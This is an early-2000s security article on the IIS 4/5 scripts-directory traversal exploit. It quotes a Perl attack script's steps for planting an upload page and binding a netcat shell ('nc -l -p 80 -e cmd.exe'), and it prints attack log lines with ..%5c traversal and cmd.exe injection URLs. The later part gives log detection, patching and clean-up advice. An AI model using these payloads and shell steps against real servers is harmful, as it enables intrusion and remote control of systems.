IIS Scripts Directory Exploit
By: madirish
In this article I'm going to attempt to outline the IIS scripts directory exploit - how to run it and how to defend yourself from such an attack. Recently one of the older IIS exploits has been getting a lot of attention, probably because IIS holes are big news. IIS or Internet Information Server, the essential part of any NT web server, is installed by default on any NT or Windows 2000 machines. Exploits in this service mean thousands of vulnerable systems. While Microsoft makes patches available fairly quickly, unless admins check the Microsoft Windows Update site or follow Bugtraq they are likely unaware of holes in thier server. It is for this reason that regular updates and application of hot fixes and patches is essential.
The IIS 4/5 (this file from HackersClub.com) exploit operates on the basis of poorly constructed privileges on a default install of IIS. The problem is that the scripts directory in the Inetpub (where the wwwroot is housed) has read, write, and execute privileges enabled for user Everyone. This means that malicious code can be accessed and run through the scripts directory. The second part of the exploit is using the Everybody access privileges to transcend the Inetpub directory to the WinNT directory (where many essential programs like cmd.exe (the command prompt) are stored). Using these two exploits an attacker can create a copy of cmd.exe in the scripts directory then issue DOS commands through a URL. While the exploit is limited in that it only allows an attacker to use an account with very basic privileges, escalation is easy from that point.
Most of the batched scripts that execute this exploit first create a copy of cmd.exe in the scripts directory, then upload a file (usually netcat (nc.exe)) to the wwwroot where it is then run. Netcat provides a command prompt to anyone telnetting to port 80 (the web server port) without interrupting service (therefore making it difficult to detect). First I'll run through the exploit and what it looks like, then I'll run through what you can do to protect yourself.
The most common script I've found to execute this exploit is written in Perl. Although coded for execution on a *nix box, it is easily altered to run on windows (assuming Perl is installed (which is as easy to do as visiting Active State's web site)). The first line of code must be changed so that Perl's program directory is reflected (/Perl/bin, for instance). Once accomplished the script can be fired. This script will check for vulnerable servers, upload .asp pages that allow for remote file upload, then execution of nc.exe (netcat).
Here's usage instructions from the Perl code:
Works like this - two files (upload.asp and upload.inc - have
in the same dir as the PERL script) are build in the webroot
(or anywhere else) using echo and some conversion strings.
These files allows you to upload any file by
simply surfing with a browser to the server.
Typical use: (5 easy steps to a shell)
1. Find the webroot (duh)- let say its f:the web pagestheroot
2. perl cgidecoderloader target:80 'f:the web pagestheroot'
3. surf to target/upload.asp and upload nc.exe
4. perl cgidecoderexecute.pl target:80 'f:the web pagestherootnc -l -p 80 -e cmd.exe'
5. telnet target 80
Above procedure will drop you into a shell on the box
without crashing the server (*winks at Eeye*).
Of coure you might want to upload other goodies as well
right after nc.exe - fscan.exe seems a good choice :)
This procedure is nice for servers that are very tightly
firewalled; no FTP, RCP or TFTP out of it - as everything
is client---> server on port 80.
kids, please have a *good* look at the code before you use it :-]
more info at http://www.securityfocus.com/vdb/bottom.html?section=exploit&vid=1806
2001/01/24 Roelof Temmingh
roelof@sensepost.com
http://www.sensepost.com
You can see its fairly easy for anyone who is able to run the script to get access. What's worse, once nc.exe is started, even admin can't terminate it from the Task Manager.
Here's just how easy it is to copy cmd.exe from the scripts directory (no script needed):
And once cmd.exe in the directory, all sorts of evil options present themselves:
Essentially the biggest problem for an attacker is how to upload the necessary files to the server. I have found that one of the simplest ways is to copy files from a remote open netbios share with the command:
copy 111.111.111.111sharenamefilename.exe c:
where 111.111.111.111 is the attacker's IP. This method shouldn't present any problems. The only other restrictions facing an attacker are his limited privileges. While the attacker can brose directories and files, only those with Everyone 'read' permissions are going to be accessible. The attacker won't be able to alter or overwrite files with higher privileges (such as autoexec.bat) and many applications such as passdump.exe won't work when executed by a web user (IUSR_MachineName account).
This attack is fairly easy to spot. Search your log files for unusually long requests to your web server. Here's a snippet of what the attack looks like:
2001-06-26 13:22:57 216.25.200.139 - 216.25.200.137 80 GET /scripts/..%5c..%5c..%5c..%5cwinnt/system32/cmd.exe /c+dir 200 -
2001-06-26 13:23:00 216.25.200.139 - 216.25.200.137 80 GET /naughty_real_ - 404 -
2001-06-26 13:23:00 216.25.200.139 - 216.25.200.137 80 GET /scripts/..%5c..%5c..%5c..%5cwinnt/system32/cmd.exe /c+dir+c:inetpubscripts%22 200 -
2001-06-26 13:23:00 216.25.200.139 - 216.25.200.137 80 GET /scripts/..%5c..%5c..%5c..%5cwinnt/system32/cmd.exe /c+copy+c:winntsystem32cmd.exe+c:inetpubscriptstesting.exe%22 502 -
2001-06-26 13:23:00 216.25.200.139 - 216.25.200.137 80 GET /scripts/testing.exe /c+'c:inetpubwwwrootnc 502 -
2001-06-26 13:27:22 216.25.200.139 - 216.25.200.137 80 GET /scripts/..%5c..%5c..%5c..%5cwinnt/system32/cmd.exe /c+dir 200 -
2001-06-26 13:27:25 216.25.200.139 - 216.25.200.137 80 GET /naughty_real_ - 404 -
2001-06-26 13:27:25 216.25.200.139 - 216.25.200.137 80 GET /scripts/..%5c..%5c..%5c..%5cwinnt/system32/cmd.exe /c+dir+'c:inetpubwwwroot' 502 -
2001-06-26 13:27:25 216.25.200.139 - 216.25.200.137 80 GET /scripts/..%5c..%5c..%5c..%5cwinnt/system32/cmd.exe /c+dir+c:inetpubscripts%22 200 -
2001-06-26 13:27:25 216.25.200.139 - 216.25.200.137 80 GET /scripts/testing.exe /c+echo%20^%3chtml^%3e^%3chead^%3e^%3ctitle^%3eupload.asp^%3c/title^%3e^%3c/head^%3e^%3cbody^%3e%20>>%20'c:inetpubwwwroot'upload.asp 502 -
2001-06-26 13:27:25 216.25.200.139 - 216.25.200.137 80 GET /scripts/testing.exe /c+echo%20^%3ccenter^%3e%20>>%20'c:inetpubwwwroot'upload.asp 502 -
2001-06-26 13:27:25 216.25.200.139 - 216.25.200.137 80 GET /scripts/testing.exe /c+echo%20^%3cform%20method%3dpost%20ENCTYPE%3d"multipart/form-data"^%3e%20>>%20'c:inetpubwwwroot'upload.asp 502 -
2001-06-26 13:27:25 216.25.200.139 - 216.25.200.137 80 GET /scripts/testing.exe /c+echo%20File%20to%20Upload:%20^%3cinput%20type%3d"file"%20name%3d"File1"^%3e^%3cbr^%3e%20>>%20'c:inetpubwwwroot'upload.asp 502 -
2001-06-26 13:27:25 216.25.200.139 - 216.25.200.137 80 GET /scripts/testing.exe /c+echo%20^%3cinput%20type%3d"submit"%20Name%3d"Action"%20value%3d"Upload%20the%20file"^%3e%20>>%20'c:inetpubwwwroot'upload.asp 502 -
2001-06-26 13:27:25 216.25.200.139 - 216.25.200.137 80 GET /scripts/testing.exe /c+echo%20^%3c/form^%3e%20>>%20'c:inetpubwwwroot'upload.asp 502 -
2001-06-26 13:27:25 216.25.200.139 - 216.25.200.137 80 GET /scripts/testing.exe /c+echo%20^%3c/body^%3e^%3c/HTML^%3e%20>>%20'c:inetpubwwwroot'upload.asp 502 -
You'll notice a lot of strange calls to the scripts directory. You can also notice that most of the calls get 502 errors, meaning that they failed. On Windows 2000 the upload to wwwroot is impossible, but upload to the scripts directory is still legal. Another advantage of Windows 2000 is that echo commands fail through the URL interface (but I assume unpatched NT is still vulnerable). If at all possible, monitor your log files for strange calls such as these to your scripts directory.
There are several ways to defeat this type of attack to your web server. The easiest is to simply delete the scripts directory. If you must use the directory, the edit the permissions. The most advisable way to defend against this attack, like so many others, is to patch your system.
If you have been attacked all is not lost. Make sure that you check your scripts directory for any versions of cmd.exe (often named toor.exe, testing.exe, or root.exe). They will all have the cmd.exe icon (the same as the MS-DOS prompt icon)). Delete these immediately, disconnect your server, and perform a full audit. A favorite second step to this attack is a netbus trojan install. Run a virus checker on the system and look for any signs of a trojan. Check your ftp services to see if they have been altered. Make sure that after you clean up the system (remove any strange files or programs like nc.exe, ncx99.exe and ncx.exe) and patch it immediately. See the Microsoft site for further details on how to repair your system.
Luckily this type of attack is noisy and easy to spot if you know where to look. Keep close tabs on your log files, watch your system for any strange connections or lost disk space, and make sure you are aware of this and other attacks against your Windows machine.
1.)
File removal: How to be sure - madirish
2.)
NT Security Tools - madirish
3.)
Getting Started with SQL (part 3) - L33tdawg
4.)
Anatomy of Brute Force Attacks - madirish
5.)
IIS Script Directory Exploit - madirish
6.)
Another one bites the dust - L33tdawg
7.)
Using PHP Securely - SecuriTeam
